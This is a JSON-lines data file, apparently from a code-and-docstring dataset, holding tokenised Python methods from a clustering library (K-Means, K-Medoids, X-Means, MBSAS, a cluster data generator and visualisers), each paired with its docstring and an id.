{"signature": "def __verify_arguments(self):", "body": "if self.__kmax > len(self.__data):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(self.__kmax) + \"<STR_LIT>\" +<EOL>str(len(self.__data)) + \"<STR_LIT>\")<EOL><DEDENT>if self.__kmin <= <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(self.__kmin) + \"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "!\n        @brief Checks algorithm's arguments and if some of them is incorrect then exception is thrown.", "id": "f15589:c2:m8"}
{"signature": "def __init__(self, amount_clusters, dimension, cluster_sizes, cluster_centers=None, cluster_width=<NUM_LIT:1.0>):", "body": "self.__amount_clusters = amount_clusters<EOL>self.__dimension = dimension<EOL>self.__cluster_sizes = cluster_sizes<EOL>if not isinstance(self.__cluster_sizes, collections.Iterable):<EOL><INDENT>self.__cluster_sizes = [self.__cluster_sizes] * amount_clusters<EOL><DEDENT>self.__cluster_width = cluster_width<EOL>if not isinstance(self.__cluster_width, collections.Iterable):<EOL><INDENT>self.__cluster_width = [self.__cluster_width] * amount_clusters<EOL><DEDENT>self.__cluster_centers = cluster_centers<EOL>if self.__cluster_centers is None:<EOL><INDENT>self.__cluster_centers = self.__generate_cluster_centers(self.__cluster_width)<EOL><DEDENT>", "docstring": "!\n        @brief Constructs data generator for generating data-sets.\n\n        @param[in] amount_clusters (uint): Amount of clusters that should be generated.\n        @param[in] dimension (uint): Dimension of each generated point.\n        @param[in] cluster_sizes (uint|array_like): Size of each cluster. In case of 'array_like' input clusters with\n                    corresponding sizes are generated.\n        @param[in] cluster_centers (array_like): Optional parameter that defines cluster centers (means).\n        @param[in] cluster_width (uint|array_like): Optional parameter that defines cluster width (standard deviation).\n                    In case of 'array_like' input each cluster has own standard deviation.", "id": "f15590:c0:m0"}
{"signature": "def generate(self):", "body": "data_points = []<EOL>for index_cluster in range(self.__amount_clusters):<EOL><INDENT>for _ in range(self.__cluster_sizes[index_cluster]):<EOL><INDENT>point = self.__generate_point(index_cluster)<EOL>data_points.append(point)<EOL><DEDENT><DEDENT>return data_points<EOL>", "docstring": "!\n        @brief Generates data in line with generator parameters.", "id": "f15590:c0:m1"}
{"signature": "def __generate_point(self, index_cluster):", "body": "return [ random.gauss(self.__cluster_centers[index_cluster][index_dimension],<EOL>self.__cluster_width[index_cluster] / <NUM_LIT>)<EOL>for index_dimension in range(self.__dimension) ]<EOL>", "docstring": "!\n        @brief Generates point in line with parameters of specified cluster.\n\n        @param[in] index_cluster (uint): Index of cluster whose parameters are used for point generation.\n\n        @return (list) New generated point in line with normal distribution and cluster parameters.", "id": "f15590:c0:m2"}
{"signature": "def __generate_cluster_centers(self, width):", "body": "centers = []<EOL>default_offset = max(width) * <NUM_LIT><EOL>for i in range(self.__amount_clusters):<EOL><INDENT>center = [ random.gauss(i * default_offset, width[i] / <NUM_LIT>) for _ in range(self.__dimension) ]<EOL>centers.append(center)<EOL><DEDENT>return centers<EOL>", "docstring": "!\n        @brief Generates centers (means in statistical term) for clusters.\n\n        @param[in] width (list): Width of generated clusters.\n\n        @return (list) Generated centers in line with normal distribution.", "id": "f15590:c0:m3"}
{"signature": "def __init__(self, data, initial_index_medoids, tolerance=<NUM_LIT>, ccore=True, **kwargs):", "body": "self.__pointer_data = data<EOL>self.__clusters = []<EOL>self.__medoid_indexes = initial_index_medoids<EOL>self.__tolerance = tolerance<EOL>self.__metric = kwargs.get('<STR_LIT>', distance_metric(type_metric.EUCLIDEAN_SQUARE))<EOL>self.__data_type = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>self.__itermax = kwargs.get('<STR_LIT>', <NUM_LIT:200>)<EOL>self.__distance_calculator = self.__create_distance_calculator()<EOL>self.__ccore = ccore and self.__metric.get_type() != type_metric.USER_DEFINED<EOL>if self.__ccore:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of clustering algorithm K-Medoids.\n\n        @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple.\n        @param[in] initial_index_medoids (list): Indexes of intial medoids (indexes of points in input data).\n        @param[in] tolerance (double): Stop condition: if maximum value of distance change of medoids of clusters is less than tolerance than algorithm will stop processing.\n        @param[in] ccore (bool): If specified than CCORE library (C++ pyclustering library) is used for clustering instead of Python code.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'metric', 'data_type', 'itermax').\n\n        <b>Keyword Args:</b><br>\n            - metric (distance_metric): Metric that is used for distance calculation between two points.\n            - data_type (string): Data type of input sample 'data' that is processed by the algorithm ('points', 'distance_matrix').\n            - itermax (uint): Maximum number of iteration for cluster analysis.", "id": "f15591:c0:m0"}
{"signature": "def process(self):", "body": "if self.__ccore is True:<EOL><INDENT>ccore_metric = metric_wrapper.create_instance(self.__metric)<EOL>self.__clusters, self.__medoid_indexes = wrapper.kmedoids(self.__pointer_data, self.__medoid_indexes, self.__tolerance, self.__itermax, ccore_metric.get_pointer(), self.__data_type)<EOL><DEDENT>else:<EOL><INDENT>changes = float('<STR_LIT>')<EOL>iterations = <NUM_LIT:0><EOL>while changes > self.__tolerance and iterations < self.__itermax:<EOL><INDENT>self.__clusters = self.__update_clusters()<EOL>update_medoid_indexes = self.__update_medoids()<EOL>changes = max([self.__distance_calculator(self.__medoid_indexes[index], update_medoid_indexes[index]) for index in range(len(update_medoid_indexes))])<EOL>self.__medoid_indexes = update_medoid_indexes<EOL>iterations += <NUM_LIT:1><EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of K-Medoids algorithm.\n\n        @return (kmedoids) Returns itself (K-Medoids instance).\n\n        @remark Results of clustering can be obtained using corresponding get methods.\n\n        @see get_clusters()\n        @see get_medoids()", "id": "f15591:c0:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @see process()\n        @see get_medoids()", "id": "f15591:c0:m2"}
{"signature": "def get_medoids(self):", "body": "return self.__medoid_indexes<EOL>", "docstring": "!\n        @brief Returns list of medoids of allocated clusters represented by indexes from the input data.\n\n        @see process()\n        @see get_clusters()", "id": "f15591:c0:m3"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15591:c0:m4"}
{"signature": "def __create_distance_calculator(self):", "body": "if self.__data_type == '<STR_LIT>':<EOL><INDENT>return lambda index1, index2: self.__metric(self.__pointer_data[index1], self.__pointer_data[index2])<EOL><DEDENT>elif self.__data_type == '<STR_LIT>':<EOL><INDENT>if isinstance(self.__pointer_data, numpy.matrix):<EOL><INDENT>return lambda index1, index2: self.__pointer_data.item((index1, index2))<EOL><DEDENT>return lambda index1, index2: self.__pointer_data[index1][index2]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % self.__data_type)<EOL><DEDENT>", "docstring": "!\n        @brief Creates distance calculator in line with algorithms parameters.\n\n        @return (callable) Distance calculator.", "id": "f15591:c0:m5"}
{"signature": "def __update_clusters(self):", "body": "clusters = [[self.__medoid_indexes[i]] for i in range(len(self.__medoid_indexes))]<EOL>for index_point in range(len(self.__pointer_data)):<EOL><INDENT>if index_point in self.__medoid_indexes:<EOL><INDENT>continue<EOL><DEDENT>index_optim = -<NUM_LIT:1><EOL>dist_optim = float('<STR_LIT>')<EOL>for index in range(len(self.__medoid_indexes)):<EOL><INDENT>dist = self.__distance_calculator(index_point, self.__medoid_indexes[index])<EOL>if dist < dist_optim:<EOL><INDENT>index_optim = index<EOL>dist_optim = dist<EOL><DEDENT><DEDENT>clusters[index_optim].append(index_point)<EOL><DEDENT>return clusters<EOL>", "docstring": "!\n        @brief Calculate distance to each point from the each cluster. \n        @details Nearest points are captured by according clusters and as a result clusters are updated.\n\n        @return (list) updated clusters as list of clusters where each cluster contains indexes of objects from data.", "id": "f15591:c0:m6"}
{"signature": "def __update_medoids(self):", "body": "medoid_indexes = [-<NUM_LIT:1>] * len(self.__clusters)<EOL>for index in range(len(self.__clusters)):<EOL><INDENT>medoid_index = medoid(self.__pointer_data, self.__clusters[index], metric=self.__metric, data_type=self.__data_type)<EOL>medoid_indexes[index] = medoid_index<EOL><DEDENT>return medoid_indexes<EOL>", "docstring": "!\n        @brief Find medoids of clusters in line with contained objects.\n\n        @return (list) list of medoids for current number of clusters.", "id": "f15591:c0:m7"}
{"signature": "def __init__(self, data, maximum_clusters, threshold, ccore=True, **kwargs):", "body": "super().__init__(data, maximum_clusters, threshold, ccore, **kwargs)<EOL>", "docstring": "!\n        @brief Creates MBSAS algorithm.\n\n        @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple.\n        @param[in] maximum_clusters: Maximum allowable number of clusters that can be allocated during processing.\n        @param[in] threshold: Threshold of dissimilarity (maximum distance) between points.\n        @param[in] ccore (bool): If True than DLL CCORE (C++ solution) will be used for solving.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'metric').\n\n        <b>Keyword Args:</b><br>\n            - metric (distance_metric): Metric that is used for distance calculation between two points.", "id": "f15592:c0:m0"}
{"signature": "def process(self):", "body": "if self._ccore is True:<EOL><INDENT>self.__process_by_ccore();<EOL><DEDENT>else:<EOL><INDENT>self.__prcess_by_python();<EOL><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of BSAS algorithm.\n\n        @remark Results of clustering can be obtained using corresponding get methods.\n\n        @see get_clusters()\n        @see get_representatives()", "id": "f15592:c0:m1"}
{"signature": "def __init__(self, data, initial_centers = None, kmax = <NUM_LIT:20>, tolerance = <NUM_LIT>, criterion = splitting_type.BAYESIAN_INFORMATION_CRITERION, ccore = True):", "body": "self.__pointer_data = data<EOL>self.__clusters = []<EOL>if initial_centers is not None:<EOL><INDENT>self.__centers = initial_centers[:]<EOL><DEDENT>else:<EOL><INDENT>self.__centers = [ [random.random() for _ in range(len(data[<NUM_LIT:0>])) ] ]<EOL><DEDENT>self.__kmax = kmax<EOL>self.__tolerance = tolerance<EOL>self.__criterion = criterion<EOL>self.__ccore = ccore<EOL>if self.__ccore:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of clustering algorithm X-Means.\n\n        @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple.\n        @param[in] initial_centers (list): Initial coordinates of centers of clusters that are represented by list: [center1, center2, ...], \n                    if it is not specified then X-Means starts from the random center.\n        @param[in] kmax (uint): Maximum number of clusters that can be allocated.\n        @param[in] tolerance (double): Stop condition for each iteration: if maximum value of change of centers of clusters is less than tolerance than algorithm will stop processing.\n        @param[in] criterion (splitting_type): Type of splitting creation.\n        @param[in] ccore (bool): Defines should be CCORE (C++ pyclustering library) used instead of Python code or not.", "id": "f15593:c1:m0"}
{"signature": "def process(self):", "body": "if (self.__ccore is True):<EOL><INDENT>self.__clusters, self.__centers = wrapper.xmeans(self.__pointer_data, self.__centers, self.__kmax, self.__tolerance, self.__criterion)<EOL><DEDENT>else:<EOL><INDENT>self.__clusters = []<EOL>while len(self.__centers) <= self.__kmax:<EOL><INDENT>current_cluster_number = len(self.__centers)<EOL>self.__clusters, self.__centers = self.__improve_parameters(self.__centers)<EOL>allocated_centers = self.__improve_structure(self.__clusters, self.__centers)<EOL>if current_cluster_number == len(allocated_centers):<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>self.__centers = allocated_centers<EOL><DEDENT><DEDENT>self.__clusters, self.__centers = self.__improve_parameters(self.__centers)<EOL><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of X-Means algorithm.\n\n        @remark Results of clustering can be obtained using corresponding gets methods.\n\n        @see get_clusters()\n        @see get_centers()", "id": "f15593:c1:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @return (list) List of allocated clusters.\n\n        @see process()\n        @see get_centers()", "id": "f15593:c1:m2"}
{"signature": "def get_centers(self):", "body": "return self.__centers<EOL>", "docstring": "!\n        @brief Returns list of centers for allocated clusters.\n\n        @return (list) List of centers for allocated clusters.\n\n        @see process()\n        @see get_clusters()", "id": "f15593:c1:m3"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15593:c1:m4"}
{"signature": "def __improve_parameters(self, centers, available_indexes = None):", "body": "if available_indexes and len(available_indexes) == <NUM_LIT:1>:<EOL><INDENT>index_center = available_indexes[<NUM_LIT:0>]<EOL>return [ available_indexes ], self.__pointer_data[index_center]<EOL><DEDENT>local_data = self.__pointer_data<EOL>if available_indexes:<EOL><INDENT>local_data = [ self.__pointer_data[i] for i in available_indexes ]<EOL><DEDENT>local_centers = centers<EOL>if centers is None:<EOL><INDENT>local_centers = kmeans_plusplus_initializer(local_data, <NUM_LIT:2>, kmeans_plusplus_initializer.FARTHEST_CENTER_CANDIDATE).initialize()<EOL><DEDENT>kmeans_instance = kmeans(local_data, local_centers, tolerance=self.__tolerance, ccore=False)<EOL>kmeans_instance.process()<EOL>local_centers = kmeans_instance.get_centers()<EOL>clusters = kmeans_instance.get_clusters()<EOL>if available_indexes:<EOL><INDENT>clusters = self.__local_to_global_clusters(clusters, available_indexes)<EOL><DEDENT>return clusters, local_centers<EOL>", "docstring": "!\n        @brief Performs k-means clustering in the specified region.\n\n        @param[in] centers (list): Centers of clusters.\n        @param[in] available_indexes (list): Indexes that defines which points can be used for k-means clustering, if None - then all points are used.\n\n        @return (list) List of allocated clusters, each cluster contains indexes of objects in list of data.", "id": "f15593:c1:m5"}
{"signature": "def __local_to_global_clusters(self, local_clusters, available_indexes):", "body": "clusters = []<EOL>for local_cluster in local_clusters:<EOL><INDENT>current_cluster = []<EOL>for index_point in local_cluster:<EOL><INDENT>current_cluster.append(available_indexes[index_point])<EOL><DEDENT>clusters.append(current_cluster)<EOL><DEDENT>return clusters<EOL>", "docstring": "!\n        @brief Converts clusters in local region define by 'available_indexes' to global clusters.\n\n        @param[in] local_clusters (list): Local clusters in specific region.\n        @param[in] available_indexes (list): Map between local and global point's indexes.\n\n        @return Global clusters.", "id": "f15593:c1:m6"}
{"signature": "def __improve_structure(self, clusters, centers):", "body": "allocated_centers = []<EOL>amount_free_centers = self.__kmax - len(centers)<EOL>for index_cluster in range(len(clusters)):<EOL><INDENT>(parent_child_clusters, parent_child_centers) = self.__improve_parameters(None, clusters[index_cluster])<EOL>if len(parent_child_clusters) > <NUM_LIT:1>:<EOL><INDENT>parent_scores = self.__splitting_criterion([ clusters[index_cluster] ], [ centers[index_cluster] ])<EOL>child_scores = self.__splitting_criterion([ parent_child_clusters[<NUM_LIT:0>], parent_child_clusters[<NUM_LIT:1>] ], parent_child_centers)<EOL>split_require = False<EOL>if self.__criterion == splitting_type.BAYESIAN_INFORMATION_CRITERION:<EOL><INDENT>if parent_scores < child_scores: split_require = True<EOL><DEDENT>elif self.__criterion == splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH:<EOL><INDENT>if parent_scores > child_scores: split_require = True;<EOL><DEDENT>if (split_require is True) and (amount_free_centers > <NUM_LIT:0>):<EOL><INDENT>allocated_centers.append(parent_child_centers[<NUM_LIT:0>])<EOL>allocated_centers.append(parent_child_centers[<NUM_LIT:1>])<EOL>amount_free_centers -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>allocated_centers.append(centers[index_cluster])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>allocated_centers.append(centers[index_cluster])<EOL><DEDENT><DEDENT>return allocated_centers<EOL>", "docstring": "!\n        @brief Check for best structure: divides each cluster into two and checks for best results using splitting criterion.\n\n        @param[in] clusters (list): Clusters that have been allocated (each cluster contains indexes of points from data).\n        @param[in] centers (list): Centers of clusters.\n\n        @return (list) Allocated centers for clustering.", "id": "f15593:c1:m7"}
{"signature": "def __splitting_criterion(self, clusters, centers):", "body": "if self.__criterion == splitting_type.BAYESIAN_INFORMATION_CRITERION:<EOL><INDENT>return self.__bayesian_information_criterion(clusters, centers)<EOL><DEDENT>elif self.__criterion == splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH:<EOL><INDENT>return self.__minimum_noiseless_description_length(clusters, centers)<EOL><DEDENT>else:<EOL><INDENT>assert <NUM_LIT:0>;<EOL><DEDENT>", "docstring": "!\n        @brief Calculates splitting criterion for input clusters.\n\n        @param[in] clusters (list): Clusters for which splitting criterion should be calculated.\n        @param[in] centers (list): Centers of the clusters.\n\n        @return (double) Returns splitting criterion. High value of splitting cretion means that current structure is much better.\n\n        @see __bayesian_information_criterion(clusters, centers)\n        @see __minimum_noiseless_description_length(clusters, centers)", "id": "f15593:c1:m8"}
{"signature": "def __minimum_noiseless_description_length(self, clusters, centers):", "body": "scores = float('<STR_LIT>')<EOL>W = <NUM_LIT:0.0><EOL>K = len(clusters)<EOL>N = <NUM_LIT:0.0><EOL>sigma_sqrt = <NUM_LIT:0.0><EOL>alpha = <NUM_LIT><EOL>betta = <NUM_LIT><EOL>for index_cluster in range(<NUM_LIT:0>, len(clusters), <NUM_LIT:1>):<EOL><INDENT>Ni = len(clusters[index_cluster])<EOL>if Ni == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>Wi = <NUM_LIT:0.0><EOL>for index_object in clusters[index_cluster]:<EOL><INDENT>Wi += euclidean_distance(self.__pointer_data[index_object], centers[index_cluster])<EOL><DEDENT>sigma_sqrt += Wi<EOL>W += Wi / Ni<EOL>N += Ni<EOL><DEDENT>if N - K > <NUM_LIT:0>:<EOL><INDENT>sigma_sqrt /= (N - K)<EOL>sigma = sigma_sqrt ** <NUM_LIT:0.5><EOL>Kw = (<NUM_LIT:1.0> - K / N) * sigma_sqrt<EOL>Ks = ( <NUM_LIT> * alpha * sigma / (N ** <NUM_LIT:0.5>) ) * ( (alpha ** <NUM_LIT>) * sigma_sqrt / N + W - Kw / <NUM_LIT> ) ** <NUM_LIT:0.5><EOL>scores = sigma_sqrt * (<NUM_LIT:2> * K)**<NUM_LIT:0.5> * ((<NUM_LIT:2> * K)**<NUM_LIT:0.5> + betta) / N + W - sigma_sqrt + Ks + <NUM_LIT:2> * alpha**<NUM_LIT:0.5> * sigma_sqrt / N<EOL><DEDENT>return scores<EOL>", "docstring": "!\n        @brief Calculates splitting criterion for input clusters using minimum noiseless description length criterion.\n\n        @param[in] clusters (list): Clusters for which splitting criterion should be calculated.\n        @param[in] centers (list): Centers of the clusters.\n\n        @return (double) Returns splitting criterion in line with bayesian information criterion. \n                Low value of splitting cretion means that current structure is much better.\n\n        @see __bayesian_information_criterion(clusters, centers)", "id": "f15593:c1:m9"}
{"signature": "def __bayesian_information_criterion(self, clusters, centers):", "body": "scores = [float('<STR_LIT>')] * len(clusters)     <EOL>dimension = len(self.__pointer_data[<NUM_LIT:0>])<EOL>sigma_sqrt = <NUM_LIT:0.0><EOL>K = len(clusters)<EOL>N = <NUM_LIT:0.0><EOL>for index_cluster in range(<NUM_LIT:0>, len(clusters), <NUM_LIT:1>):<EOL><INDENT>for index_object in clusters[index_cluster]:<EOL><INDENT>sigma_sqrt += euclidean_distance_square(self.__pointer_data[index_object], centers[index_cluster]);<EOL><DEDENT>N += len(clusters[index_cluster])<EOL><DEDENT>if N - K > <NUM_LIT:0>:<EOL><INDENT>sigma_sqrt /= (N - K)<EOL>p = (K - <NUM_LIT:1>) + dimension * K + <NUM_LIT:1><EOL>sigma_multiplier = <NUM_LIT:0.0><EOL>if sigma_sqrt <= <NUM_LIT:0.0>:<EOL><INDENT>sigma_multiplier = float('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>sigma_multiplier = dimension * <NUM_LIT:0.5> * log(sigma_sqrt)<EOL><DEDENT>for index_cluster in range(<NUM_LIT:0>, len(clusters), <NUM_LIT:1>):<EOL><INDENT>n = len(clusters[index_cluster])<EOL>L = n * log(n) - n * log(N) - n * <NUM_LIT:0.5> * log(<NUM_LIT> * numpy.pi) - n * sigma_multiplier - (n - K) * <NUM_LIT:0.5><EOL>scores[index_cluster] = L - p * <NUM_LIT:0.5> * log(N)<EOL><DEDENT><DEDENT>return sum(scores)<EOL>", "docstring": "!\n        @brief Calculates splitting criterion for input clusters using bayesian information criterion.\n\n        @param[in] clusters (list): Clusters for which splitting criterion should be calculated.\n        @param[in] centers (list): Centers of the clusters.\n\n        @return (double) Splitting criterion in line with bayesian information criterion.\n                High value of splitting criterion means that current structure is much better.\n\n        @see __minimum_noiseless_description_length(clusters, centers)", "id": "f15593:c1:m10"}
{"signature": "def __init__(self):", "body": "self.__evolution_clusters   = []<EOL>self.__evolution_centers    = []<EOL>self.__initial_centers      = []<EOL>", "docstring": "!\n        @brief Initializer of observer of K-Means algorithm.", "id": "f15594:c0:m0"}
{"signature": "def __len__(self):", "body": "return len(self.__evolution_clusters)<EOL>", "docstring": "!\n        @brief Returns amount of steps that were observer during clustering process in K-Means algorithm.", "id": "f15594:c0:m1"}
{"signature": "def notify(self, clusters, centers):", "body": "self.__evolution_clusters.append(clusters)<EOL>self.__evolution_centers.append(centers)<EOL>", "docstring": "!\n        @brief This method is called by K-Means algorithm to notify about changes.\n\n        @param[in] clusters (array_like): Allocated clusters by K-Means algorithm.\n        @param[in] centers (array_like): Allocated centers by K-Means algorithm.", "id": "f15594:c0:m2"}
{"signature": "def set_evolution_centers(self, evolution_centers):", "body": "self.__evolution_centers = evolution_centers<EOL>", "docstring": "!\n        @brief Set evolution of changes of centers during clustering process.\n\n        @param[in] evolution_centers (array_like): Evolution of changes of centers during clustering process.", "id": "f15594:c0:m3"}
{"signature": "def get_centers(self, iteration):", "body": "return self.__evolution_centers[iteration]<EOL>", "docstring": "!\n        @brief Get method to return centers at specific iteration of clustering process.\n\n        @param[in] iteration (uint): Clustering process iteration at which centers are required.\n\n        @return (array_like) Centers at specific iteration.", "id": "f15594:c0:m4"}
{"signature": "def set_evolution_clusters(self, evolution_clusters):", "body": "self.__evolution_clusters = evolution_clusters<EOL>", "docstring": "!\n        @brief Set evolution of changes of centers during clustering process.\n\n        @param[in] evolution_clusters (array_like): Evolution of changes of clusters during clustering process.", "id": "f15594:c0:m5"}
{"signature": "def get_clusters(self, iteration):", "body": "return self.__evolution_clusters[iteration]<EOL>", "docstring": "!\n        @brief Get method to return allocated clusters at specific iteration of clustering process.\n\n        @param[in] iteration (uint): Clustering process iteration at which clusters are required.\n\n        @return (array_like) Clusters at specific iteration.", "id": "f15594:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def show_clusters(sample, clusters, centers, initial_centers = None, **kwargs):<DEDENT>", "body": "visualizer = cluster_visualizer()<EOL>visualizer.append_clusters(clusters, sample)<EOL>offset = kwargs.get('<STR_LIT>', <NUM_LIT:0>)<EOL>figure = kwargs.get('<STR_LIT>', None)<EOL>display = kwargs.get('<STR_LIT>', True)<EOL>if figure is None:<EOL><INDENT>figure = visualizer.show(display = False)<EOL><DEDENT>else:<EOL><INDENT>visualizer.show(figure = figure, display = False)<EOL><DEDENT>kmeans_visualizer.__draw_centers(figure, offset, visualizer, centers, initial_centers)<EOL>kmeans_visualizer.__draw_rays(figure, offset, visualizer, sample, clusters, centers)<EOL>if display is True:<EOL><INDENT>plt.show()<EOL><DEDENT>return figure<EOL>", "docstring": "!\n        @brief Display K-Means clustering results.\n\n        @param[in] sample (list): Dataset that was used for clustering.\n        @param[in] clusters (array_like): Clusters that were allocated by the algorithm.\n        @param[in] centers (array_like): Centers that were allocated by the algorithm.\n        @param[in] initial_centers (array_like): Initial centers that were used by the algorithm, if 'None' then initial centers are not displyed.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'figure', 'display', 'offset').\n\n        <b>Keyword Args:</b><br>\n            - figure (figure): If 'None' then new is figure is created, otherwise specified figure is used for visualization.\n            - display (bool): If 'True' then figure will be shown by the method, otherwise it should be shown manually using matplotlib function 'plt.show()'.\n            - offset (uint): Specify axes index on the figure where results should be drawn (only if argument 'figure' is specified).\n\n        @return (figure) Figure where clusters were drawn.", "id": "f15594:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def animate_cluster_allocation(data, observer, animation_velocity = <NUM_LIT>, movie_fps = <NUM_LIT:1>, save_movie = None):<DEDENT>", "body": "figure = plt.figure()<EOL>def init_frame():<EOL><INDENT>return frame_generation(<NUM_LIT:0>)<EOL><DEDENT>def frame_generation(index_iteration):<EOL><INDENT>figure.clf()<EOL>figure.suptitle(\"<STR_LIT>\" + str(index_iteration) + \"<STR_LIT:)>\", fontsize=<NUM_LIT>, fontweight='<STR_LIT>')<EOL>clusters = observer.get_clusters(index_iteration)<EOL>centers = observer.get_centers(index_iteration)<EOL>kmeans_visualizer.show_clusters(data, clusters, centers, None, figure=figure, display=False)<EOL>figure.subplots_adjust(top=<NUM_LIT>)<EOL>return [figure.gca()]<EOL><DEDENT>iterations = len(observer)<EOL>cluster_animation = animation.FuncAnimation(figure, frame_generation, iterations, interval=animation_velocity,<EOL>init_func=init_frame, repeat_delay=<NUM_LIT>)<EOL>if save_movie is not None:<EOL><INDENT>cluster_animation.save(save_movie, writer='<STR_LIT>', fps=movie_fps, bitrate=<NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>plt.show()<EOL><DEDENT>", "docstring": "!\n        @brief Animates clustering process that is performed by K-Means algorithm.\n\n        @param[in] data (list): Dataset that is used for clustering.\n        @param[in] observer (kmeans_observer): EM observer that was used for collection information about clustering process.\n        @param[in] animation_velocity (uint): Interval between frames in milliseconds (for run-time animation only).\n        @param[in] movie_fps (uint): Defines frames per second (for rendering movie only).\n        @param[in] save_movie (string): If it is specified then animation will be stored to file that is specified in this parameter.", "id": "f15594:c1:m5"}
{"signature": "def __init__(self, data, initial_centers, tolerance=<NUM_LIT>, ccore=True, **kwargs):", "body": "self.__pointer_data = numpy.array(data)<EOL>self.__clusters = []<EOL>self.__centers = numpy.array(initial_centers)<EOL>self.__tolerance = tolerance<EOL>self.__total_wce = <NUM_LIT:0><EOL>self.__observer = kwargs.get('<STR_LIT>', None)<EOL>self.__metric = kwargs.get('<STR_LIT>', distance_metric(type_metric.EUCLIDEAN_SQUARE))<EOL>self.__itermax = kwargs.get('<STR_LIT>', <NUM_LIT:100>)<EOL>if self.__metric.get_type() != type_metric.USER_DEFINED:<EOL><INDENT>self.__metric.enable_numpy_usage()<EOL><DEDENT>else:<EOL><INDENT>self.__metric.disable_numpy_usage()<EOL><DEDENT>self.__ccore = ccore and self.__metric.get_type() != type_metric.USER_DEFINED<EOL>if self.__ccore is True:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of clustering algorithm K-Means.\n        @details Center initializer can be used for creating initial centers, for example, K-Means++ method.\n\n        @param[in] data (array_like): Input data that is presented as array of points (objects), each point should be represented by array_like data structure.\n        @param[in] initial_centers (array_like): Initial coordinates of centers of clusters that are represented by array_like data structure: [center1, center2, ...].\n        @param[in] tolerance (double): Stop condition: if maximum value of change of centers of clusters is less than tolerance then algorithm stops processing.\n        @param[in] ccore (bool): Defines should be CCORE library (C++ pyclustering library) used instead of Python code or not.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'observer', 'metric', 'itermax').\n\n        <b>Keyword Args:</b><br>\n            - observer (kmeans_observer): Observer of the algorithm to collect information about clustering process on each iteration.\n            - metric (distance_metric): Metric that is used for distance calculation between two points (by default euclidean square distance).\n            - itermax (uint): Maximum number of iterations that is used for clustering process (by default: 200).\n\n        @see center_initializer", "id": "f15594:c2:m0"}
{"signature": "def process(self):", "body": "if len(self.__pointer_data[<NUM_LIT:0>]) != len(self.__centers[<NUM_LIT:0>]):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if self.__ccore is True:<EOL><INDENT>self.__process_by_ccore()<EOL><DEDENT>else:<EOL><INDENT>self.__process_by_python()<EOL><DEDENT>return self<EOL>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of K-Means algorithm.\n\n        @return (kmeans) Returns itself (K-Means instance).\n\n        @remark Results of clustering can be obtained using corresponding get methods.\n\n        @see get_clusters()\n        @see get_centers()", "id": "f15594:c2:m1"}
{"signature": "def __process_by_ccore(self):", "body": "ccore_metric = metric_wrapper.create_instance(self.__metric)<EOL>results = wrapper.kmeans(self.__pointer_data, self.__centers, self.__tolerance, self.__itermax, (self.__observer is not None), ccore_metric.get_pointer())<EOL>self.__clusters = results[<NUM_LIT:0>]<EOL>self.__centers = results[<NUM_LIT:1>]<EOL>if self.__observer is not None:<EOL><INDENT>self.__observer.set_evolution_clusters(results[<NUM_LIT:2>])<EOL>self.__observer.set_evolution_centers(results[<NUM_LIT:3>])<EOL><DEDENT>self.__total_wce = results[<NUM_LIT:4>][<NUM_LIT:0>]<EOL>", "docstring": "!\n        @brief Performs cluster analysis using CCORE (C/C++ part of pyclustering library).", "id": "f15594:c2:m2"}
